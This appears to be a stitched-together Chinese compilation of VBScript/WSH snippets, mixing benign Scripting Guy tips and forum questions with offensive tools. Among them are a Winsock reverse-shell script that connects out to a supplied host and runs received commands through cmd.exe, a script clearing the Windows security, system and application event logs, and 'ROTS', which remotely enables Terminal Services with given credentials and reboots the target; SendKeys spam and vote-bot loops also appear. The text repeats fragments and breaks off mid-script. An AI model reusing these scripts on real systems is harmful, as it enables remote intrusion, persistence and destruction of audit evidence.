DIM WSH SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") ’击活WScript.Shell对象 WSH.POPUP("解锁注册表编辑器!") ’显示弹出信息“解锁注册表编辑器!” WSH.Regwrite"HKCU/Software/Microsoft/Windows/CurrentVersion /Policies/System/DisableRegistryTools",0,"REG_DWORD" ’给注册表编辑器解锁 WSH.POPUP("注册表解锁成功!") ’显示弹出信息“注册表解锁成功!” 保存为以.vbs为扩展名的文件,使用时双击即可。
二、关闭Win NT/2000的默认共享
用记事本编辑如下内容:
Dim WSHShell’定义变量 set WSHShell=CreateObject("WScript.shell") ’创建一个能与操作系统沟通的对象WSHShell Dim fso,dc Set fso=CreateObject("Scripting.FileSystemObject")’创建文件系统对象 set dc=fso.Drives ’获取所有驱动器盘符 For Each d in dc Dim str WSHShell.run("net share"&d.driveletter &"$ /delete")’关闭所有驱动器的隐藏共享 next WSHShell.run("net share admin$ /delete") WSHShell.run("net share ipc$ /delete")’关闭admin$和ipc$管道共享
strComputer= "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate,(Backup)}!//" & _ strComputer & "/root/cimv2") dim mylogs(3) mylogs(1)="application" mylogs(2)="system" mylogs(3)="security" for Each logs in mylogs Set colLogFiles=objWMIService.ExecQuery _ ("Select * from Win32_NTEventLogFile where LogFileName=’"&logs&"’") For Each objLogfile in colLogFiles objLogFile.ClearEventLog()
Dim ChangeStartMenu Set ChangeStartMenu=WScript.CreateObject("WScript.Shell") RegPath="HKCR/Software/Microsoft/Windows/CurrentVersion/Policies/" Type_Name="REG_DWORD" Key_Data=1
Const ADS_SERVICE_STOPPED = 1 Set objComputer = GetObject("WinNT://MYCOMPUTER,computer") Set objService = objComputer.GetObject("Service","MYSERVICE") If (objService.Status = ADS_SERVICE_STOPPED) Then objService.Start End If
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2") Set colDevices = objWMIService.ExecQuery _ ("Select * From Win32_USBControllerDevice")
For Each objDevice in colDevices strDeviceName = objDevice.Dependent strQuotes = Chr(34) strDeviceName = Replace(strDeviceName, strQuotes, "") arrDeviceNames = Split(strDeviceName, "=") strDeviceName = arrDeviceNames(1) Set colUSBDevices = objWMIService.ExecQuery _ ("Select * From Win32_PnPEntity Where DeviceID = '" & strDeviceName & "'") For Each objUSBDevice in colUSBDevices Wscript.Echo objUSBDevice.Description Next Next
intReturn = objShell.Popup("Do you want to delete this file?", _ 10, "Delete File", wshYesNoDialog + wshQuestionMark)
If intReturn = wshYes Then Wscript.Echo "You clicked the Yes button." ElseIf intReturn = wshNo Then Wscript.Echo "You clicked the No button." Else Wscript.Echo "The popup timed out." End If
Example ' This fragment launches Notepad with the current executed script Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.Run ("notepad " & Wscript.ScriptFullName) WshShell.Run ("windir/notepad" & Wscript.ScriptFullName)
然而出现了下面的一个错误提示 Error Type: Microsoft VBScript runtime (0x800A01A8) Object required: 'Wscript'
? 我把internet options里面的Security的initilize and script Activex controls not marked as safe 设为了Enable之后就可以运行了。
但那就是说只是启动了Client端的程序,而不能启动Server端的程序了?
主 题: 如何创建Wscript对象呢?
我想使用asp启动服务器端的notepad,下面是msdn里面的一个例子
Example ' This fragment launches Notepad with the current executed script Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.Run ("notepad " & Wscript.ScriptFullName) WshShell.Run ("windir/notepad" & Wscript.ScriptFullName)
然而出现了下面的一个错误提示 Error Type: Microsoft VBScript runtime (0x800A01A8) Object required: 'Wscript'
? 我把internet options里面的Security的initilize and script Activex controls not marked as safe 设为了Enable之后就可以运行了。
但那就是说只是启动了Client端的程序,而不能启动Server端的程序了?
主 题: 如何创建Wscript对象呢?
我想使用asp启动服务器端的notepad,下面是msdn里面的一个例子
Example ' This fragment launches Notepad with the current executed script Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.Run ("notepad " & Wscript.ScriptFullName) WshShell.Run ("windir/notepad" & Wscript.ScriptFullName)
然而出现了下面的一个错误提示 Error Type: Microsoft VBScript runtime (0x800A01A8) Object required: 'Wscript'
终端脚本 on error resume next set outstreem=wscript.stdout set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." wscript.quit end if
ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) if wscript.arguments.count>3 then port=wscript.arguments(3) else port=3389 end if if not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit end if if wscript.arguments.count>4 then reboot=wscript.arguments(4) else reboot="" end if
usage() outstreem.write "Conneting "&ipaddress&" ...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) objswbemservices.security_.privileges.add 23,true objswbemservices.security_.privileges.add 18,true
outstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then wscript.echo "OK!" else wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit end if next
outstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg .createkey ,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache" .setdwordvalue HKLM,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache","Enabled",0 .createkey HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer" .setdwordvalue HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server","TSEnabled",1 .setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermService","Start",2 .setstringvalue HKU,".DEFAULT/Keyboard Layout/Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp","PortNumber",port end with showerror(err.number)
rebt=lcase(reboot) flag=0 if rebt="/r" or rebt="-r" or rebt="/r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="/fr" then flag=6 if flag<>0 then outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) next showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," end if wscript.echo "You can logon terminal services on "&port&" later. Good luck!"
function showerror(errornumber) if errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." if err.description <> "" then wscript.echo "Error description: "&err.description&"." end if wscript.quit else wscript.echo "OK!" end if end function
function usage() wscript.echo string(79,"*") wscript.echo "ROTS v1.05" wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." wscript.echo string(79,"*")&vbcrlf end function
if wscript.arguments.count<2 then wscript.quit end if
dim revdata set sock=createobject("MSWinsock.Winsock") set sc=createobject("WScript.Shell")
sock.Protocol=1 'UDP 自己修改成TCP的也可以 sock.connect wscript.arguments(0), wscript.arguments(1) sock.SendData "You have got the shell~" & chr(10) & chr(13) sock.SendData ">>" do if sock.BytesReceived>0 then sock.getdata revdata,vbString if instr(revdata,"exit")>0 then exit do else on error resume next cmd=left(revdata,len(revdata)-1) sock.senddata sc.exec("cmd.exe /c " & cmd).stdout.readall & vbcrlf & vbcrlf sock.SendData ">>" end if end if loop sock.senddata "bye!" & vbcrlf sock.close sock=nothings
Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.AppActivate "Hi" for i=1 to 50 '改成你想要的次数 WScript.Sleep 500 WshShell.SendKeys "^v" WshShell.SendKeys i WshShell.SendKeys "%s" next
set fso = Wscript.createObject("Scripting.FileSystemObject") Set f = fso.createTextFile("QQ自动登录.bat",true) f.WriteLine "@echo off" & vbcrlf for each ps in getobject("winmgmts://./root/cimv2:win32_process").instances_ '列出系统中所有正在运行的程序 if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then '检测是否QQ或TM QQCMD=ps.commandline '提取QQ程序的命行 tmp=Replace(QQCMD,chr(34),space(1)) UIN1=instr(tmp,"QQUIN:")+6 if not len(UIN1)=0 then QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) '取QQ号码. QQ=QQ+1 QQNUM=QQNUM & "QQ号码" & QQ & ":" & vbtab & QQUIN & vbcrlf f.WriteLine "ECHO QQ号码:" & QQUIN f.WriteLine "ECHO 命令行:" & QQCMD f.WriteLine QQCMD & vbcrlf end if end if next if not len(QQ)=0 then MSGBOX "已经成功提取以下QQ号码的自动登录命令行" & vbcrlf & vbcrlf & QQNUM & vbcrlf & "具体请查看当前目录下的<QQ自动登录.bat>文件",0,"QQ自动登录命令提取脚本 BY chenall QQ:XXXXXX" else msgbox "提取QQ自动登录命令失败,请查看QQ或TM是否正在运行.",0,"QQ自动登录命令提取脚本 BY chenall QQ:XXXXXX" f.close set f = fso.getfile("QQ自动登录.bat") f.delete end if
dim QQUIN for each ps in getobject("winmgmts://./root/cimv2:win32_process").instances_ '列出系统中所有正在运行的程序 if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then '检测是否QQ或TM AppPath=ps.commandline '提取QQ程序的命行 tmp=Replace(AppPath,chr(34),space(1)) UIN1=instr(tmp,"QQUIN:")+6 QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) '取QQ号码. end if next if len(QQUIN)=0 then msgbox "系统中没有运行QQ或TM程序,请重新启动QQ或TM,登陆后再使用一键换切换一下QQ或TM程序,再运行本脚本" else do '循环检测 myqqin=chkuin(QQUIN) '检测上面提取出来的QQ号码是否有在本机打开 if not myqqin then '如果没有运行则,重新运行QQ程序并登录 runapp(AppPath) ' wscript.sleep 10000 '等待10秒 else wscript.sleep 5000 '等待5秒 end if loop '返回继续检测 end if
function RunApp(AppPath) dim obj set obj = createobject("WScript.Shell") obj.exec(AppPath) end function
function chkuin(QQUIN) for each ps in getobject("winmgmts://./root/cimv2:win32_process").instances_ if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then AppPatht=ps.commandline 'by chenall qq 368178720 tmp=Replace(AppPatht,chr(34),space(1)) UIN1=instr(tmp,"QQUIN:")+6 QQUINTMP=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) if QQUINTMP=QQUIN then chkuin=true end if end if next end function 将以上代码存储为"*.vbs"文件。而后登录QQ,一键切换到TM,再运行VBS脚本。此后,即使关闭了TM/QQ,它也会自动启动并登录至网络。经笔者在Windows XP SP2系统上测试,完全有效。 小编提示:对于用户挂QQ这个事情,小编对此并不赞同,因为除了能得到心里上的满足以外,其余任何事情都不能做到,而且还大量地浪费了国家的电能,所以在此小编提示大家,这个技巧只是叫大家明白,我们可以用VBS实现这一功能,绝对不是提倡这种挂QQ等级的做法。
为了在按下按键时指定那些不显示的字符,例如 ENTER 或 TAB 以及那些表示动作而非字符的按键,请使用下列代码:
按键 代码 BACKSPACE {BACKSPACE}, {BS}, 或 {BKSP} BREAK {BREAK} CAPS LOCK {CAPSLOCK} DEL or DELETE {DELETE} 或 {DEL} DOWN ARROW {DOWN} END {END} ENTER {ENTER}或 ~ ESC {ESC} HELP {HELP} HOME {HOME} INS or INSERT {INSERT} 或 {INS} LEFT ARROW {LEFT} NUM LOCK {NUMLOCK} PAGE DOWN {PGDN} PAGE UP {PGUP} PRINT SCREEN {PRTSC} RIGHT ARROW {RIGHT} SCROLL LOCK {SCROLLLOCK} TAB {TAB} UP ARROW {UP} F1 {F1} F2 {F2} F3 {F3} F4 {F4} F5 {F5} F6 {F6} F7 {F7} F8 {F8} F9 {F9} F10 {F10} F11 {F11} F12 {F12} F13 {F13} F14 {F14} F15 {F15} F16 {F16}
为了指定那些与 SHIFT、CTRL 及 ALT 等按键结合的组合键,可在这些按键码的前面放置一个或多个代码,这些代码列举如下:
按键 代码 SHIFT + CTRL ^ ALT %
为了说明在按下其它按键时应同时按下 SHIFT、CTRL、及 ALT 的任意组合键,请把那些按键的码放在括号当中。例如,为了说明按下 E 与 C 的时候同时按下 SHIFT 键,请使用 "+(EC)"。为了说明在按下 E 的时候同时按下 SHIFT 键,但接着按 C 而不按 SHIFT,则使用 "+EC"。
为了指定重复键,使用 {key number} 的形式。必须在 key 与 number 之间放置一个空格。例如,{LEFT 42} 意指 42 次按下 LEFT ARROW 键;{h 10} 则是指 10 次按下 H 键。
注意 不能用 SendKeys 将按键消息发送到这样一个应用程序,这个应用程序并没有被设计成在 Microsoft Windows 中运行。Sendkeys 也无法将 PRINT SCREEN 按键 {PRTSC} 发送到任何应用程序?/font>
可以启用 Caps Lock (大写)键吗? 问: 嗨,Scripting Guy!I have a script where users enter some information in an Input box.The information needs to be entered in all-capital letters, so my instructions say, “Please make sure the Caps Lock key is on before entering the information.”They don’t always do that, however.Is there a way to turn the Caps Lock key on and off using a script?
-- BW, Medford, OR
答: Hey, BW.We don’t know of a way to turn the Caps Lock key on and off, but we do know a way to mimic the effect of having the Caps Lock key on.After all, the whole point of the Caps Lock key is to turn everything you type into uppercase letters.For example, you might type this:
this is my sentence. But Caps Lock will make it appear on screen like this:
THIS IS MY SENTENCE. So how can we achieve the same affect in a script?简单:we just use the VBScript function UCase, which switches all the letters in a string to their uppercase equivalent.For example, here’s a simple two-line script that gathers information from a user and then uses the UCase function to switch all the letters to uppercase when echoing the value to the screen:
strMessage = InputBox("Please enter your message:")Wscript.Echo UCase(strMessage) Incidentally, the above script doesn’t actually change the case of the letters in the string strMessage; it just displays them in uppercase.If you really want all the letters converted to uppercase, try this script instead:
strMessage = UCase(InputBox("Please enter your message:"))Wscript.Echo strMessage Looks crazy, but it works.
For more information about the UCase function, see theVBScript 文档 on MSDN.
答: 您好,ZW.如果您不介意用一些疯狂的解决方法,那么实际上将脚本输出复制到剪贴板相当容易。首先,您需要构造一个字符串,其中包含想要的输出。然后,创建 Internet Explorer 的一个实例,然后在其中打开一个空白页。接着,利用 Internet Explorer 对象模型的内置功能,将字符串复制到剪贴板;特别是, 可以使用 clipboardData.SetData 方法来实现这个技巧。将某些数据复制到剪贴板的示例脚本如下:
strCopy = "This text has been copied to the clipboard."
Set objIE = CreateObject("InternetExplorer.Application") objIE.Navigate("about:blank") objIE.document.parentwindow.clipboardData.SetData "text", strCopy objIE.Quit
运行脚本,然后打开 Notepad,然后单击“粘贴”;应该可以看到所复制的字符串。
顺便说一下,所有这一切都是在“幕后”发生的,Internet Explorer 并不会真的出现在屏幕上。这是因为,在默认情况下,通过脚本创建的任何 IE 实例在运行时都是隐藏的,除非您利用如下语句将其显示出来:
答: 您好,BF。如果您使用的是 Windows 2000,我们不知道实现此操作的方法,至少操作系统中没有内置这样的方法。但如果您使用的是 Windows XP,情况就不同了。在 Windows XP 上,您可以使用“UserAccounts.CommonDialog”对象向用户显示一个标准的“文件打开”对话框。可以用类似以下代码的脚本:
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "All Files|*.*" objDialog.InitialDir = "C:/" intResult = objDialog.ShowOpen
If intResult = 0 Then Wscript.Quit Else Wscript.Echo objDialog.FileName End If 这是一个小脚本,所以让我们逐行进行解释吧。我们首先创建一个对 UserAccounts.CommonDialog 对象的对象引用(名为“objDialog”)。接着,我们设置对话框的“筛选”属性。我们要显示所有文件,所以我们将筛选设置成这样:
objDialog.Filter = "All Files|*.*" 假如我们只想显示文本文件,那该怎么办?在这种情况下,我们将使用以下筛选:
如果运行的是 Windows XP 或 Windows Server 2003,您可以使用“ScriptPW”(仅在这两个 Windows 版本中提供的一种 COM 对象)通过命令行来屏蔽密码。以下是一个示例脚本,它创建一个 ScriptPW.Password 对象实例,然后使用 StdOut Write 方法要求用户输入密码:
Set objPassword = CreateObject("ScriptPW.Password") WScript.StdOut.Write "Please enter your password:"
objExplorer.Document.Title = "Logon script in progress" objExplorer.Document.Body.InnerHTML = "Your logon script is being processed. " _ & "This might take several minutes to complete."
Wscript.Sleep 10000
objExplorer.Document.Body.InnerHTML = "Your logon script is now complete."
Wscript.Sleep 5000 objExplorer.Quit
我们在此进行的所有操作就是创建 Internet Explorer 的一个实例,然后使用以下这行代码在浏览器窗口中打开一个空白页面:
objExplorer.Navigate "about:blank"
去除工具栏和状态栏(通过将这些值设置为 0),然后将窗口大小分别设置为 400 像素和 200 像素。然后,我们将 Visible 属性设置为 1,其在屏幕上实际显示小的 Internet Explorer 窗口。纯粹是为了进行演示,我们使用下面这行代码配置窗口的 Title 属性:
objExplorer.Document.Title = "Logon script in progress"
最终结果是什么呢?结果是这个样子:
对于其本身来说已经很好了,但是我们或许还可以做得更好一点儿:首先,我们可以在 Internet Explorer 文档中显示自定义消息。为此,我们应设置文档正文的 InnerHTML 属性:
objExplorer.Document.Body.InnerHTML = "Your logon script is being processed. " _ & "This might take several minutes to complete."
这段代码的好处是:在将值分配给 InnerHTML 属性时,我们可以使用所有我们喜欢的 HTML 标记。例如,假设我们希望用粗体显示此消息。在这种情况下,我们只需使用 <B> 和 </B> 标记即可:
objExplorer.Document.Body.InnerHTML = "<B>Your logon script is being processed. " _ & "This might take several minutes to complete.</B>"
设置了 InnerHTML 属性之后,我们就得到与以下类似的 Internet Explorer 实例:
还不错吧?在示例脚本中,我们暂停 10 秒,然后用一条新消息替代旧消息,新消息会通知用户他们的登录脚本已经完成。我们再暂停 5 秒,然后消除 Internet Explorer 的实例。
strComputer = "." Set objWMIService = GetObject("Winmgmts://" & strComputer & "/root/cimv2") Set colItems = objWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each objItem in colItems intHorizontal = objItem.ScreenWidth intVertical = objItem.ScreenHeight Next
除了将 Internet Explorer 窗口居中之外,我们还将光标设置为沙漏时需来强调这样一个事实:用户需要等待一会儿。可使用以下这行代码来执行该操作:
objExplorer.Document.Body.Style.Cursor = "wait"
在脚本中后面的部分,我们将光标设置为默认,这样可消除沙漏,使光标重新变为标准的箭头光标。
修改后的新脚本如下所示:
On Error Resume Next
strComputer = "." Set objWMIService = GetObject("Winmgmts://" & strComputer & "/root/cimv2") Set colItems = objWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each objItem in colItems intHorizontal = objItem.ScreenWidth intVertical = objItem.ScreenHeight Next
Set objExplorer = CreateObject _ ("InternetExplorer.Application")
objExplorer.Document.Title = "Logon script in progress" objExplorer.Document.Body.InnerHTML = "Your logon script is being processed. " _ & "This might take several minutes to complete."
Wscript.Sleep 10000
objExplorer.Document.Body.InnerHTML = "Your logon script is now complete."
objExplorer.Document.Title = "Logon script in progress" objExplorer.Document.Body.InnerHTML = "<img src='file:///C:/Scripts/watch.gif'> " & _ "Your logon script is being processed. This might take several minutes to complete."
最终结果为:
这可能称不上艺术品,但我们认为绝对可以说这是“在代码执行时执行一些有趣的操作”。另外,请记住,您可以更改图片的对齐方式,还可以更改字体的大小和颜色 -- 您可以进行任何 HTML 允许您进行的操作。
附注。若想在代码执行时进行一些真正有趣的操作,请访问 Dr. Scripto’s Fun Zone(Dr. Scripto 的乐园),学习如何在您的脚本中结合使用 Microsoft 代理技术。
'function: ' list all process or kill one of them 'parameter: NameorPID process's name or pid 'return: ' true if kill one process, else false Function KillProcess(NameorPID) Dim oWMI, oProcs, oProc, strSQL KillProcess = False strSQL = "SELECT * FROM Win32_Process" If NameOrPID <> "" Then If IsNumeric(NameOrPID) Then strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'" Else strSQL = strSQL & " WHERE Name = '" & NameorPID & "'" End If End If Set oWMI = GetObject("winmgmts://./root/cimv2") Set oProcs = oWMI.ExecQuery(strSQL) For Each oProc In oProcs If IsNumeric(NameOrPID) Then oProc.Terminate WScript.Echo oProc.Name & "(" & oProc.Handle & ") was killed!" KillProcess = True Else WScript.Echo "Name: " & oProc.Name & vbTab & "PID: " & oProc.Handle & _ vbCrLf & vbTab & "Path: " & oProc.ExecutablePath End If Next Set oProc = Nothing Set oProcs = Nothing Set oWMI = Nothing End Function
'function: ' reboot or shutdown operating system 'parameter: ' RorS "r"=reboot, "s" or others="shutdown" 'return: ' none Function Reboot(RorS) Dim oWMI, oSys, oOpSys Set oWMI = GetObject("winmgmts:{(shutdown)}!//./root/cimv2") Set oOpSys = oWMI.ExecQuery("SELECT * FROM Win32_OperatingSystem") For Each oSys In oOpSys If Instr(LCase(RebootOrShut),"r") > 0 Then WScript.Echo "Reboot..." oSys.Reboot Else WScript.Echo "Shuting down..." oSys.Shutdown End If Next Set oOpSys = Nothing Set oSys = Nothing Set oWMI = Nothing End Function
Set WshShell = WScript.CreateObject("WScript.Shell") num = Inputbox("请输入您要投票的次数[初次使用请不要设置太大,不要超过20]:","默认为5次","5") times = Inputbox("请输入您要间隔多少秒投票一次[单位是秒]:","默认为5秒","5")
if num>10 Then intReturn =WshShell.Popup("如果您的数值设置过大,出错了只能通过Ctrl+AlT+Del终止它,它的进程名为:Wscript.exe;你要设置这么大的数值吗?", _ 10, "小鸽子温馨提示", wshYesNoDialog + wshQuestionMark) else qq=106456213 end if If intReturn = wshYes or qq=106456213 Then